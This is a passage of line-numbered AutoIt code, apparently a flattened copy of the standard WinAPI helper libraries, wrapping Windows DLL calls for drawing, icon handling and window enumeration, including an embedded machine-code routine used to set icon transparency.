  4919. If BitAND($in, $display_device_attached_to_desktop) <> 0 Then $iflags = BitOR($iflags, 1)
  4920. If BitAND($in, $display_device_primary_device) <> 0 Then $iflags = BitOR($iflags, 2)
  4921. If BitAND($in, $display_device_mirroring_driver) <> 0 Then $iflags = BitOR($iflags, 4)
  4922. If BitAND($in, $display_device_vga_compatible) <> 0 Then $iflags = BitOR($iflags, 8)
  4923. If BitAND($in, $display_device_removable) <> 0 Then $iflags = BitOR($iflags, 16)
  4924. If BitAND($in, $display_device_modespruned) <> 0 Then $iflags = BitOR($iflags, 32)
  4925. $adevice[0] = True
  4926. $adevice[1] = DllStructGetData($tdevice, "Name")
  4927. $adevice[2] = DllStructGetData($tdevice, "String")
  4928. $adevice[3] = $iflags
  4929. $adevice[4] = DllStructGetData($tdevice, "ID")
  4930. Return $adevice
  4931. EndFunc
  4932.  
  4933. Func _winapi_fillrect($hdc, $trect, $hbrush)
  4934. Local $aresult
  4935. If IsPtr($hbrush) Then
  4936. $aresult = DllCall("user32.dll", "int", "FillRect", "handle", $hdc, "struct*", $trect, "handle", $hbrush)
  4937. Else
  4938. $aresult = DllCall("user32.dll", "int", "FillRect", "handle", $hdc, "struct*", $trect, "dword_ptr", $hbrush)
  4939. EndIf
  4940. If @error Then Return SetError(@error, @extended, False)
  4941. Return $aresult[0]
  4942. EndFunc
  4943.  
  4944. Func _winapi_framerect($hdc, $trect, $hbrush)
  4945. Local $aresult = DllCall("user32.dll", "int", "FrameRect", "handle", $hdc, "struct*", $trect, "handle", $hbrush)
  4946. If @error Then Return SetError(@error, @extended, False)
  4947. Return $aresult[0]
  4948. EndFunc
  4949.  
  4950. Func _winapi_getbkmode($hdc)
  4951. Local $aresult = DllCall("gdi32.dll", "int", "GetBkMode", "handle", $hdc)
  4952. If @error Then Return SetError(@error, @extended, 0)
  4953. Return $aresult[0]
  4954. EndFunc
  4955.  
  4956. Func _winapi_getdc($hwnd)
  4957. Local $aresult = DllCall("user32.dll", "handle", "GetDC", "hwnd", $hwnd)
  4958. If @error Then Return SetError(@error, @extended, 0)
  4959. Return $aresult[0]
  4960. EndFunc
  4961.  
  4962. Func _winapi_getdcex($hwnd, $hrgn, $iflags)
  4963. Local $aret = DllCall("user32.dll", "handle", "GetDCEx", "hwnd", $hwnd, "handle", $hrgn, "dword", $iflags)
  4964. If @error Then Return SetError(@error, @extended, 0)
  4965. Return $aret[0]
  4966. EndFunc
  4967.  
  4968. Func _winapi_getdevicecaps($hdc, $iindex)
  4969. Local $aresult = DllCall("gdi32.dll", "int", "GetDeviceCaps", "handle", $hdc, "int", $iindex)
  4970. If @error Then Return SetError(@error, @extended, 0)
  4971. Return $aresult[0]
  4972. EndFunc
  4973.  
  4974. Func _winapi_gettextcolor($hdc)
  4975. Local $aret = DllCall("gdi32.dll", "dword", "GetTextColor", "handle", $hdc)
  4976. If @error OR ($aret[0] = 4294967295) Then Return SetError(@error, @extended, -1)
  4977. Return __rgb($aret[0])
  4978. EndFunc
  4979.  
  4980. Func _winapi_getwindowdc($hwnd)
  4981. Local $aresult = DllCall("user32.dll", "handle", "GetWindowDC", "hwnd", $hwnd)
  4982. If @error Then Return SetError(@error, @extended, 0)
  4983. Return $aresult[0]
  4984. EndFunc
  4985.  
  4986. Func _winapi_printwindow($hwnd, $hdc, $bclient = False)
  4987. Local $aret = DllCall("user32.dll", "bool", "PrintWindow", "hwnd", $hwnd, "handle", $hdc, "uint", $bclient)
  4988. If @error Then Return SetError(@error, @extended, False)
  4989. Return $aret[0]
  4990. EndFunc
  4991.  
  4992. Func _winapi_releasedc($hwnd, $hdc)
  4993. Local $aresult = DllCall("user32.dll", "int", "ReleaseDC", "hwnd", $hwnd, "handle", $hdc)
  4994. If @error Then Return SetError(@error, @extended, False)
  4995. Return $aresult[0]
  4996. EndFunc
  4997.  
  4998. Func _winapi_restoredc($hdc, $iid)
  4999. Local $aret = DllCall("gdi32.dll", "bool", "RestoreDC", "handle", $hdc, "int", $iid)
  5000. If @error Then Return SetError(@error, @extended, False)
  5001. Return $aret[0]
  5002. EndFunc
  5003.  
  5004. Func _winapi_savedc($hdc)
  5005. Local $aret = DllCall("gdi32.dll", "int", "SaveDC", "handle", $hdc)
  5006. If @error Then Return SetError(@error, @extended, 0)
  5007. Return $aret[0]
  5008. EndFunc
  5009.  
  5010. Func _winapi_setbkcolor($hdc, $icolor)
  5011. Local $aresult = DllCall("gdi32.dll", "INT", "SetBkColor", "handle", $hdc, "INT", $icolor)
  5012. If @error Then Return SetError(@error, @extended, -1)
  5013. Return $aresult[0]
  5014. EndFunc
  5015.  
  5016. Func _winapi_setbkmode($hdc, $ibkmode)
  5017. Local $aresult = DllCall("gdi32.dll", "int", "SetBkMode", "handle", $hdc, "int", $ibkmode)
  5018. If @error Then Return SetError(@error, @extended, 0)
  5019. Return $aresult[0]
  5020. EndFunc
  5021.  
  5022. Func _winapi_settextcolor($hdc, $icolor)
  5023. Local $aresult = DllCall("gdi32.dll", "INT", "SetTextColor", "handle", $hdc, "INT", $icolor)
  5024. If @error Then Return SetError(@error, @extended, -1)
  5025. Return $aresult[0]
  5026. EndFunc
  5027.  
  5028. Func _winapi_twipsperpixelx()
  5029. Local $hdc, $itwipsperpixelx
  5030. $hdc = _winapi_getdc(0)
  5031. Local Const $__winapiconstant_logpixelsx = 88
  5032. $itwipsperpixelx = 1440 / _winapi_getdevicecaps($hdc, $__winapiconstant_logpixelsx)
  5033. _winapi_releasedc(0, $hdc)
  5034. Return $itwipsperpixelx
  5035. EndFunc
  5036.  
  5037. Func _winapi_twipsperpixely()
  5038. Local $hdc, $itwipsperpixely
  5039. $hdc = _winapi_getdc(0)
  5040. Local Const $__winapiconstant_logpixelsy = 90
  5041. $itwipsperpixely = 1440 / _winapi_getdevicecaps($hdc, $__winapiconstant_logpixelsy)
  5042. _winapi_releasedc(0, $hdc)
  5043. Return $itwipsperpixely
  5044. EndFunc
  5045.  
  5046. #EndRegion Public Functions
  5047. #Region Internal Functions
  5048. #EndRegion Internal Functions
  5049. #Region Global Variables and Constants
  5050. #EndRegion Global Variables and Constants
  5051. #Region Functions list
  5052. #EndRegion Functions list
  5053. #Region Public Functions
  5054. Global Const $tagiconinfo = "bool Icon;dword XHotSpot;dword YHotSpot;handle hMask;handle hColor"
  5055.  
  5056. Func _winapi_addicontransparency($hicon, $ipercent = 50, $bdelete = False)
  5057. Local $tbitmap, $hdib = 0, $hresult = 0
  5058. Local $ahbitmap[2]
  5059. Local $ticoninfo = DllStructCreate($tagiconinfo)
  5060. Local $aret = DllCall("user32.dll", "bool", "GetIconInfo", "handle", $hicon, "struct*", $ticoninfo)
  5061. If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, 0)
  5062. For $i = 0 To 1
  5063. $ahbitmap[$i] = DllStructGetData($ticoninfo, $i + 4)
  5064. Next
  5065. Local $ierror = 0
  5066. Do
  5067. $hdib = _winapi_copybitmap($ahbitmap[1])
  5068. If NOT $hdib Then
  5069. $ierror = 20
  5070. ExitLoop
  5071. EndIf
  5072. $tbitmap = DllStructCreate($tagbitmap)
  5073. If (NOT _winapi_getobject($hdib, DllStructGetSize($tbitmap), $tbitmap)) OR (DllStructGetData($tbitmap, "bmBitsPixel") <> 32) Then
  5074. $ierror = 21
  5075. ExitLoop
  5076. EndIf
  5077. $aret = DllCall("user32.dll", "lresult", "CallWindowProc", "PTR", __transparencyproc(), "hwnd", 0, "uint", $ipercent, "wparam", DllStructGetPtr($tbitmap), "lparam", 0)
  5078. If @error OR NOT $aret[0] Then
  5079. $ierror = @error + 30
  5080. ExitLoop
  5081. EndIf
  5082. If $aret[0] = -1 Then
  5083. $hresult = _winapi_createemptyicon(DllStructGetData($tbitmap, "bmWidth"), DllStructGetData($tbitmap, "bmHeight"))
  5084. Else
  5085. $hresult = _winapi_createiconindirect($hdib, $ahbitmap[0])
  5086. EndIf
  5087. If NOT $hresult Then $ierror = 22
  5088. Until 1
  5089. If $hdib Then
  5090. _winapi_deleteobject($hdib)
  5091. EndIf
  5092. For $i = 0 To 1
  5093. If $ahbitmap[$i] Then
  5094. _winapi_deleteobject($ahbitmap[$i])
  5095. EndIf
  5096. Next
  5097. If $ierror Then Return SetError($ierror, 0, 0)
  5098. If $bdelete Then
  5099. _winapi_destroyicon($hicon)
  5100. EndIf
  5101. Return $hresult
  5102. EndFunc
  5103.  
  5104. Func _winapi_copyicon($hicon)
  5105. Local $aresult = DllCall("user32.dll", "handle", "CopyIcon", "handle", $hicon)
  5106. If @error Then Return SetError(@error, @extended, 0)
  5107. Return $aresult[0]
  5108. EndFunc
  5109.  
  5110. Func _winapi_create32bithicon($hicon, $bdelete = False)
  5111. Local $ahbitmap[2], $hresult = 0
  5112. Local $adib[2][2] = [[0, 0], [0, 0]]
  5113. Local $ticoninfo = DllStructCreate($tagiconinfo)
  5114. Local $aret = DllCall("user32.dll", "bool", "GetIconInfo", "handle", $hicon, "struct*", $ticoninfo)
  5115. If @error Then Return SetError(@error, @extended, 0)
  5116. If NOT $aret[0] Then Return SetError(10, 0, 0)
  5117. For $i = 0 To 1
  5118. $ahbitmap[$i] = DllStructGetData($ticoninfo, $i + 4)
  5119. Next
  5120. If _winapi_isalphabitmap($ahbitmap[1]) Then
  5121. $adib[0][0] = _winapi_createandbitmap($ahbitmap[1])
  5122. If NOT @error Then
  5123. $hresult = _winapi_createiconindirect($ahbitmap[1], $adib[0][0])
  5124. EndIf
  5125. Else
  5126. Local $tsize = _winapi_getbitmapdimension($ahbitmap[1])
  5127. Local $asize[2]
  5128. For $i = 0 To 1
  5129. $asize[$i] = DllStructGetData($tsize, $i + 1)
  5130. Next
  5131. Local $hsrcdc = _winapi_createcompatibledc(0)
  5132. Local $hdstdc = _winapi_createcompatibledc(0)
  5133. Local $hsrcsv, $hdstsv
  5134. For $i = 0 To 1
  5135. $adib[$i][0] = _winapi_createdib($asize[0], $asize[1])
  5136. $adib[$i][1] = $__g_vext
  5137. $hsrcsv = _winapi_selectobject($hsrcdc, $ahbitmap[$i])
  5138. $hdstsv = _winapi_selectobject($hdstdc, $adib[$i][0])
  5139. _winapi_bitblt($hdstdc, 0, 0, $asize[0], $asize[1], $hsrcdc, 0, 0, 12583114)
  5140. _winapi_selectobject($hsrcdc, $hsrcsv)
  5141. _winapi_selectobject($hdstdc, $hdstsv)
  5142. Next
  5143. _winapi_deletedc($hsrcdc)
  5144. _winapi_deletedc($hdstdc)
  5145. $aret = DllCall("user32.dll", "lresult", "CallWindowProc", "ptr", __xorproc(), "ptr", 0, "uint", $asize[0] * $asize[1] * 4, "wparam", $adib[0][1], "lparam", $adib[1][1])
  5146. If NOT @error AND $aret[0] Then
  5147. $hresult = _winapi_createiconindirect($adib[1][0], $ahbitmap[0])
  5148. EndIf
  5149. EndIf
  5150. For $i = 0 To 1
  5151. _winapi_deleteobject($ahbitmap[$i])
  5152. If $adib[$i][0] Then
  5153. _winapi_deleteobject($adib[$i][0])
  5154. EndIf
  5155. Next
  5156. If NOT $hresult Then Return SetError(11, 0, 0)
  5157. If $bdelete Then
  5158. _winapi_destroyicon($hicon)
  5159. EndIf
  5160. Return $hresult
  5161. EndFunc
  5162.  
  5163. Func _winapi_createemptyicon($iwidth, $iheight, $ibitsperpel = 32)
  5164. Local $hxor = _winapi_createdib($iwidth, $iheight, $ibitsperpel)
  5165. Local $hand = _winapi_createdib($iwidth, $iheight, 1)
  5166. Local $hdc = _winapi_createcompatibledc(0)
  5167. Local $hsv = _winapi_selectobject($hdc, $hand)
  5168. Local $hbrush = _winapi_createsolidbrush(16777215)
  5169. Local $trect = _winapi_createrect(0, 0, $iwidth, $iheight)
  5170. _winapi_fillrect($hdc, $trect, $hbrush)
  5171. _winapi_deleteobject($hbrush)
  5172. _winapi_selectobject($hdc, $hsv)
  5173. _winapi_deletedc($hdc)
  5174. Local $hicon = _winapi_createiconindirect($hxor, $hand)
  5175. Local $ierror = @error
  5176. If $hxor Then
  5177. _winapi_deleteobject($hxor)
  5178. EndIf
  5179. If $hand Then
  5180. _winapi_deleteobject($hand)
  5181. EndIf
  5182. If NOT $hicon Then Return SetError($ierror + 10, 0, 0)
  5183. Return $hicon
  5184. EndFunc
  5185.  
  5186. Func _winapi_createicon($hinstance, $iwidth, $iheight, $iplanes, $ibitspixel, $pandbits, $pxorbits)
  5187. Local $aret = DllCall("user32.dll", "handle", "CreateIcon", "handle", $hinstance, "int", $iwidth, "int", $iheight, "byte", $iplanes, "byte", $ibitspixel, "struct*", $pandbits, "struct*", $pxorbits)
  5188. If @error Then Return SetError(@error, @extended, 0)
  5189. Return $aret[0]
  5190. EndFunc
  5191.  
  5192. Func _winapi_createiconfromresourceex($pdata, $isize, $bicon = True, $ixdesiredpixels = 0, $iydesiredpixels = 0, $iflags = 0)
  5193. Local $aret = DllCall("user32.dll", "handle", "CreateIconFromResourceEx", "ptr", $pdata, "dword", $isize, "bool", $bicon, "dword", 196608, "int", $ixdesiredpixels, "int", $iydesiredpixels, "uint", $iflags)
  5194. If @error Then Return SetError(@error, @extended, 0)
  5195. Return $aret[0]
  5196. EndFunc
  5197.  
  5198. Func _winapi_createiconindirect($hbitmap, $hmask, $ixhotspot = 0, $iyhotspot = 0, $bicon = True)
  5199. Local $ticoninfo = DllStructCreate($tagiconinfo)
  5200. DllStructSetData($ticoninfo, 1, $bicon)
  5201. DllStructSetData($ticoninfo, 2, $ixhotspot)
  5202. DllStructSetData($ticoninfo, 3, $iyhotspot)
  5203. DllStructSetData($ticoninfo, 4, $hmask)
  5204. DllStructSetData($ticoninfo, 5, $hbitmap)
  5205. Local $aret = DllCall("user32.dll", "handle", "CreateIconIndirect", "struct*", $ticoninfo)
  5206. If @error Then Return SetError(@error, @extended, 0)
  5207. Return $aret[0]
  5208. EndFunc
  5209.  
  5210. Func _winapi_destroyicon($hicon)
  5211. Local $aresult = DllCall("user32.dll", "bool", "DestroyIcon", "handle", $hicon)
  5212. If @error Then Return SetError(@error, @extended, False)
  5213. Return $aresult[0]
  5214. EndFunc
  5215.  
  5216. Func _winapi_extracticon($sicon, $iindex, $bsmall = False)
  5217. Local $plarge, $psmall, $tptr = DllStructCreate("ptr")
  5218. If $bsmall Then
  5219. $plarge = 0
  5220. $psmall = DllStructGetPtr($tptr)
  5221. Else
  5222. $plarge = DllStructGetPtr($tptr)
  5223. $psmall = 0
  5224. EndIf
  5225. DllCall("shell32.dll", "uint", "ExtractIconExW", "wstr", $sicon, "int", $iindex, "ptr", $plarge, "ptr", $psmall, "uint", 1)
  5226. If @error Then Return SetError(@error, @extended, 0)
  5227. Return DllStructGetData($tptr, 1)
  5228. EndFunc
  5229.  
  5230. Func _winapi_extracticonex($sfilepath, $iindex, $palarge, $pasmall, $iicons)
  5231. Local $aresult = DllCall("shell32.dll", "uint", "ExtractIconExW", "wstr", $sfilepath, "int", $iindex, "struct*", $palarge, "struct*", $pasmall, "uint", $iicons)
  5232. If @error Then Return SetError(@error, @extended, 0)
  5233. Return $aresult[0]
  5234. EndFunc
  5235.  
  5236. Func _winapi_fileiconinit($brestore = True)
  5237. Local $aret = DllCall("shell32.dll", "int", 660, "int", $brestore)
  5238. If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, 0)
  5239. Return 1
  5240. EndFunc
  5241.  
  5242. Func _winapi_geticondimension($hicon)
  5243. Local $ticoninfo = DllStructCreate($tagiconinfo)
  5244. Local $aret = DllCall("user32.dll", "bool", "GetIconInfo", "handle", $hicon, "struct*", $ticoninfo)
  5245. If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, 0)
  5246. Local $tsize = _winapi_getbitmapdimension(DllStructGetData($ticoninfo, 5))
  5247. For $i = 4 To 5
  5248. _winapi_deleteobject(DllStructGetData($ticoninfo, $i))
  5249. Next
  5250. If NOT IsDllStruct($tsize) Then Return SetError(20, 0, 0)
  5251. Return $tsize
  5252. EndFunc
  5253.  
  5254. Func _winapi_geticoninfo($hicon)
  5255. Local $tinfo = DllStructCreate($tagiconinfo)
  5256. Local $aret = DllCall("user32.dll", "bool", "GetIconInfo", "handle", $hicon, "struct*", $tinfo)
  5257. If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, 0)
  5258. Local $aicon[6]
  5259. $aicon[0] = True
  5260. $aicon[1] = DllStructGetData($tinfo, "Icon") <> 0
  5261. $aicon[2] = DllStructGetData($tinfo, "XHotSpot")
  5262. $aicon[3] = DllStructGetData($tinfo, "YHotSpot")
  5263. $aicon[4] = DllStructGetData($tinfo, "hMask")
  5264. $aicon[5] = DllStructGetData($tinfo, "hColor")
  5265. Return $aicon
  5266. EndFunc
  5267.  
  5268. Func _winapi_geticoninfoex($hicon)
  5269. Local $tiiex = DllStructCreate("dword;int;dword;dword;ptr;ptr;ushort;wchar[260];wchar[260]")
  5270. DllStructSetData($tiiex, 1, DllStructGetSize($tiiex))
  5271. Local $aret = DllCall("user32.dll", "bool", "GetIconInfoExW", "handle", $hicon, "struct*", $tiiex)
  5272. If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, 0)
  5273. Local $aresult[8]
  5274. For $i = 0 To 7
  5275. $aresult[$i] = DllStructGetData($tiiex, $i + 2)
  5276. Next
  5277. Return $aresult
  5278. EndFunc
  5279.  
  5280. Func _winapi_loadicon($hinstance, $sname)
  5281. Local $stypeofname = "int"
  5282. If IsString($sname) Then
  5283. $stypeofname = "wstr"
  5284. EndIf
  5285. Local $aret = DllCall("user32.dll", "handle", "LoadIconW", "handle", $hinstance, $stypeofname, $sname)
  5286. If @error Then Return SetError(@error, @extended, 0)
  5287. Return $aret[0]
  5288. EndFunc
  5289.  
  5290. Func _winapi_loadiconmetric($hinstance, $sname, $imetric)
  5291. Local $stypeofname = "int"
  5292. If IsString($sname) Then
  5293. $stypeofname = "wstr"
  5294. EndIf
  5295. Local $aret = DllCall("comctl32.dll", "long", "LoadIconMetric", "handle", $hinstance, $stypeofname, $sname, "int", $imetric, "handle*", 0)
  5296. If @error Then Return SetError(@error, @extended, 0)
  5297. If $aret[0] Then Return SetError(10, $aret[0], 0)
  5298. Return $aret[4]
  5299. EndFunc
  5300.  
  5301. Func _winapi_loadiconwithscaledown($hinstance, $sname, $iwidth, $iheight)
  5302. Local $stypeofname = "int"
  5303. If IsString($sname) Then
  5304. $stypeofname = "wstr"
  5305. EndIf
  5306. Local $aret = DllCall("comctl32.dll", "long", "LoadIconWithScaleDown", "handle", $hinstance, $stypeofname, $sname, "int", $iwidth, "int", $iheight, "handle*", 0)
  5307. If @error Then Return SetError(@error, @extended, 0)
  5308. If $aret[0] Then Return SetError(10, $aret[0], 0)
  5309. Return $aret[5]
  5310. EndFunc
  5311.  
  5312. Func _winapi_loadshell32icon($iiconid)
  5313. Local $ticons = DllStructCreate("ptr Data")
  5314. Local $iicons = _winapi_extracticonex("shell32.dll", $iiconid, 0, $ticons, 1)
  5315. If @error Then Return SetError(@error, @extended, 0)
  5316. If $iicons <= 0 Then Return SetError(10, 0, 0)
  5317. Return DllStructGetData($ticons, "Data")
  5318. EndFunc
  5319.  
  5320. Func _winapi_lookupiconidfromdirectoryex($pdata, $bicon = True, $ixdesiredpixels = 0, $iydesiredpixels = 0, $iflags = 0)
  5321. Local $aret = DllCall("user32.dll", "int", "LookupIconIdFromDirectoryEx", "ptr", $pdata, "bool", $bicon, "int", $ixdesiredpixels, "int", $iydesiredpixels, "uint", $iflags)
  5322. If @error Then Return SetError(@error, @extended, 0)
  5323. Return $aret[0]
  5324. EndFunc
  5325.  
  5326. Func _winapi_mirroricon($hicon, $bdelete = False)
  5327. If NOT $bdelete Then
  5328. $hicon = _winapi_copyicon($hicon)
  5329. EndIf
  5330. Local $aret = DllCall("comctl32.dll", "int", 414, "ptr", 0, "ptr*", $hicon)
  5331. If @error OR NOT $aret[0] Then
  5332. Local $ierror = @error + 10
  5333. If $hicon AND NOT $bdelete Then
  5334. _winapi_destroyicon($hicon)
  5335. EndIf
  5336. Return SetError($ierror, 0, 0)
  5337. EndIf
  5338. Return $aret[2]
  5339. EndFunc
  5340.  
  5341. #EndRegion Public Functions
  5342. #Region Embedded DLL Functions
  5343.  
  5344. Func __transparencyproc()
  5345. Static $pproc = 0
  5346. If NOT $pproc Then
  5347. If @AutoItX64 Then
  5348. $pproc = __init(Binary("0x48894C240848895424104C894424184C894C24205541574831C0505050505050" & "4883EC284883BC24800000000074054831C0EB0748C7C0010000004821C07522" & "488BAC248000000048837D180074054831C0EB0748C7C0010000004821C07502" & "EB0948C7C001000000EB034831C04821C0740B4831C04863C0E93C0100004C63" & "7C24784983FF647E0F48C7C0010000004863C0E9220100004C637C24784D21FF" & "7D08C74424780000000048C74424280100000048C74424300000000048C74424" & "3800000000488BAC24800000004C637D04488BAC2480000000486345084C0FAF" & "F849C1E7024983C7FC4C3B7C24380F8C88000000488BAC24800000004C8B7D18" & "4C037C24384983C7034C897C2440488B6C2440480FB64500505888442448807C" & "244800744B4C0FB67C244848634424784C0FAFF84C89F848C7C1640000004899" & "48F7F94989C74C89F850488B6C244858884500488B6C2440807D0000740948C7" & "4424280000000048C7442430010000004883442438040F8149FFFFFF48837C24" & "3000741148837C242800740948C7C001000000EB034831C04821C0740E48C7C0" & "FFFFFFFF4863C0EB11EB0C48C7C0010000004863C0EB034831C04883C458415F" & "5DC3"))
  5349. Else
  5350. $pproc = __init(Binary("0x555331C05050505050837C242800740431C0EB05B80100000021C075198B6C24" & "28837D1400740431C0EB05B80100000021C07502EB07B801000000EB0231C021" & "C0740731C0E9E50000008B5C242483FB647E0AB801000000E9D20000008B5C24" & "2421DB7D08C744242400000000C7042401000000C744240400000000C7442408" & "000000008B6C24288B5D048B6C24280FAF5D08C1E30283C3FC3B5C24087C648B" & "6C24288B5D14035C240883C303895C240C8B6C240C0FB6450088442410807C24" & "100074380FB65C24100FAF5C242489D8B96400000099F7F989C3538B6C241058" & "8845008B6C240C807D00007407C7042400000000C74424040100000083442408" & "047181837C240400740D833C24007407B801000000EB0231C021C07409B8FFFF" & "FFFFEB0BEB07B801000000EB0231C083C4145B5DC21000"))
  5351. EndIf
  5352. EndIf
  5353. Return $pproc
  5354. EndFunc
  5355.  
  5356. #EndRegion Embedded DLL Functions
  5357.  
  5358. Func _sendmessage($hwnd, $imsg, $wparam = 0, $lparam = 0, $ireturn = 0, $wparamtype = "wparam", $lparamtype = "lparam", $sreturntype = "lresult")
  5359. Local $aresult = DllCall("user32.dll", $sreturntype, "SendMessageW", "hwnd", $hwnd, "uint", $imsg, $wparamtype, $wparam, $lparamtype, $lparam)
  5360. If @error Then Return SetError(@error, @extended, "")
  5361. If $ireturn >= 0 AND $ireturn <= 4 Then Return $aresult[$ireturn]
  5362. Return $aresult
  5363. EndFunc
  5364.  
  5365. Func _sendmessagea($hwnd, $imsg, $wparam = 0, $lparam = 0, $ireturn = 0, $wparamtype = "wparam", $lparamtype = "lparam", $sreturntype = "lresult")
  5366. Local $aresult = DllCall("user32.dll", $sreturntype, "SendMessageA", "hwnd", $hwnd, "uint", $imsg, $wparamtype, $wparam, $lparamtype, $lparam)
  5367. If @error Then Return SetError(@error, @extended, "")
  5368. If $ireturn >= 0 AND $ireturn <= 4 Then Return $aresult[$ireturn]
  5369. Return $aresult
  5370. EndFunc
  5371.  
  5372. #Region Global Variables and Constants
  5373. Global $__g_ainprocess_winapi[64][2] = [[0, 0]]
  5374. Global $__g_awinlist_winapi[64][2] = [[0, 0]]
  5375. Global Const $gw_hwndfirst = 0
  5376. Global Const $gw_hwndlast = 1
  5377. Global Const $gw_hwndnext = 2
  5378. Global Const $gw_hwndprev = 3
  5379. Global Const $gw_owner = 4
  5380. Global Const $gw_child = 5
  5381. Global Const $gw_enabledpopup = 6
  5382. Global Const $gwl_wndproc = -4
  5383. Global Const $gwl_hinstance = -6
  5384. Global Const $gwl_hwndparent = -8
  5385. Global Const $gwl_id = -12
  5386. Global Const $gwl_style = -16
  5387. Global Const $gwl_exstyle = -20
  5388. Global Const $gwl_userdata = -21
  5389. Global Const $__winapiconstant_wm_setfont = 48
  5390. #EndRegion Global Variables and Constants
  5391. #Region Functions list
  5392. #EndRegion Functions list
  5393. #Region Public Functions
  5394.  
  5395. Func _winapi_createwindowex($iexstyle, $sclass, $sname, $istyle, $ix, $iy, $iwidth, $iheight, $hparent, $hmenu = 0, $hinstance = 0, $pparam = 0)
  5396. If $hinstance = 0 Then $hinstance = _winapi_getmodulehandle("")
  5397. Local $aresult = DllCall("user32.dll", "hwnd", "CreateWindowExW", "dword", $iexstyle, "wstr", $sclass, "wstr", $sname, "dword", $istyle, "int", $ix, "int", $iy, "int", $iwidth, "int", $iheight, "hwnd", $hparent, "handle", $hmenu, "handle", $hinstance, "struct*", $pparam)
  5398. If @error Then Return SetError(@error, @extended, 0)
  5399. Return $aresult[0]
  5400. EndFunc
  5401.  
  5402. Func _winapi_getclientrect($hwnd)
  5403. Local $trect = DllStructCreate($tagrect)
  5404. Local $aret = DllCall("user32.dll", "bool", "GetClientRect", "hwnd", $hwnd, "struct*", $trect)
  5405. If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, 0)
  5406. Return $trect
  5407. EndFunc
  5408.  
  5409. Func _winapi_getdesktopwindow()
  5410. Local $aresult = DllCall("user32.dll", "hwnd", "GetDesktopWindow")
  5411. If @error Then Return SetError(@error, @extended, 0)
  5412. Return $aresult[0]
  5413. EndFunc
  5414.  
  5415. Func _winapi_destroywindow($hwnd)
  5416. Local $aresult = DllCall("user32.dll", "bool", "DestroyWindow", "hwnd", $hwnd)
  5417. If @error Then Return SetError(@error, @extended, False)
  5418. Return $aresult[0]
  5419. EndFunc
  5420.  
  5421. Func _winapi_enablewindow($hwnd, $benable = True)
  5422. Local $aresult = DllCall("user32.dll", "bool", "EnableWindow", "hwnd", $hwnd, "bool", $benable)
  5423. If @error Then Return SetError(@error, @extended, False)
  5424. Return $aresult[0]
  5425. EndFunc
  5426.  
  5427. Func _winapi_enumwindows($bvisible = True, $hwnd = Default)
  5428. __winapi_enumwindowsinit()
  5429. If $hwnd = Default Then $hwnd = _winapi_getdesktopwindow()
  5430. __winapi_enumwindowschild($hwnd, $bvisible)
  5431. Return $__g_awinlist_winapi
  5432. EndFunc
  5433.  
  5434. Func _winapi_enumwindowspopup()
  5435. __winapi_enumwindowsinit()
  5436. Local $hwnd = _winapi_getwindow(_winapi_getdesktopwindow(), $gw_child)
  5437. Local $sclass
  5438. While $hwnd <> 0
  5439. If _winapi_iswindowvisible($hwnd) Then
  5440. $sclass = _winapi_getclassname($hwnd)
  5441. If $sclass = "#32768" Then
  5442. __winapi_enumwindowsadd($hwnd)
  5443. ElseIf $sclass = "ToolbarWindow32" Then
  5444. __winapi_enumwindowsadd($hwnd)
  5445. ElseIf $sclass = "ToolTips_Class32" Then
  5446. __winapi_enumwindowsadd($hwnd)
  5447. ElseIf $sclass = "BaseBar" Then
  5448. __winapi_enumwindowschild($hwnd)
  5449. EndIf
  5450. EndIf
  5451. $hwnd = _winapi_getwindow($hwnd, $gw_hwndnext)
  5452. WEnd
  5453. Return $__g_awinlist_winapi
  5454. EndFunc
  5455.  
  5456. Func _winapi_enumwindowstop()
  5457. __winapi_enumwindowsinit()
  5458. Local $hwnd = _winapi_getwindow(_winapi_getdesktopwindow(), $gw_child)
  5459. While $hwnd <> 0
  5460. If _winapi_iswindowvisible($hwnd) Then __winapi_enumwindowsadd($hwnd)
  5461. $hwnd = _winapi_getwindow($hwnd, $gw_hwndnext)
  5462. WEnd
  5463. Return $__g_awinlist_winapi
  5464. EndFunc
  5465.  
  5466. Func _winapi_getclassname($hwnd)
  5467. If NOT IsHWnd($hwnd) Then $hwnd = GUICtrlGetHandle($hwnd)
  5468. Local $aresult = DllCall("user32.dll", "int", "GetClassNameW", "hwnd", $hwnd, "wstr", "", "int", 4096)
  5469. If @error OR NOT $aresult[0] Then Return SetError(@error, @extended, "")
  5470. Return SetExtended($aresult[0], $aresult[2])
  5471. EndFunc
  5472.  
  5473. Func _winapi_getfocus()
  5474. Local $aresult = DllCall("user32.dll", "hwnd", "GetFocus")
  5475. If @error Then Return SetError(@error, @extended, 0)
  5476. Return $aresult[0]
  5477. EndFunc
  5478.  
  5479. Func _winapi_getparent($hwnd)
  5480. Local $aresult = DllCall("user32.dll", "hwnd", "GetParent", "hwnd", $hwnd)
  5481. If @error Then Return SetError(@error, @extended, 0)
  5482. Return $aresult[0]
  5483. EndFunc
  5484.  
  5485. Func _winapi_getsyscolor($iindex)
  5486. Local $aresult = DllCall("user32.dll", "INT", "GetSysColor", "int", $iindex)
  5487. If @error Then Return SetError(@error, @extended, 0)
  5488. Return $aresult[0]
  5489. EndFunc
  5490.  
  5491. Func _winapi_getsystemmetrics($iindex)
  5492. Local $aresult = DllCall("user32.dll", "int", "GetSystemMetrics", "int", $iindex)
  5493. If @error Then Return SetError(@error, @extended, 0)
  5494. Return $aresult[0]
  5495. EndFunc
  5496.  
  5497. Func _winapi_getwindow($hwnd, $icmd)
  5498. Local $aresult = DllCall("user32.dll", "hwnd", "GetWindow", "hwnd", $hwnd, "uint", $icmd)
  5499. If @error Then Return SetError(@error, @extended, 0)
  5500. Return $aresult[0]
  5501. EndFunc
  5502.  
  5503. Func _winapi_getwindowheight($hwnd)
  5504. Local $trect = _winapi_getwindowrect($hwnd)
  5505. If @error Then Return SetError(@error, @extended, 0)
  5506. Return DllStructGetData($trect, "Bottom") - DllStructGetData($trect, "Top")
  5507. EndFunc
  5508.  
  5509. Func _winapi_getwindowlong($hwnd, $iindex)
  5510. Local $sfuncname = "GetWindowLongW"
  5511. If @AutoItX64 Then $sfuncname = "GetWindowLongPtrW"
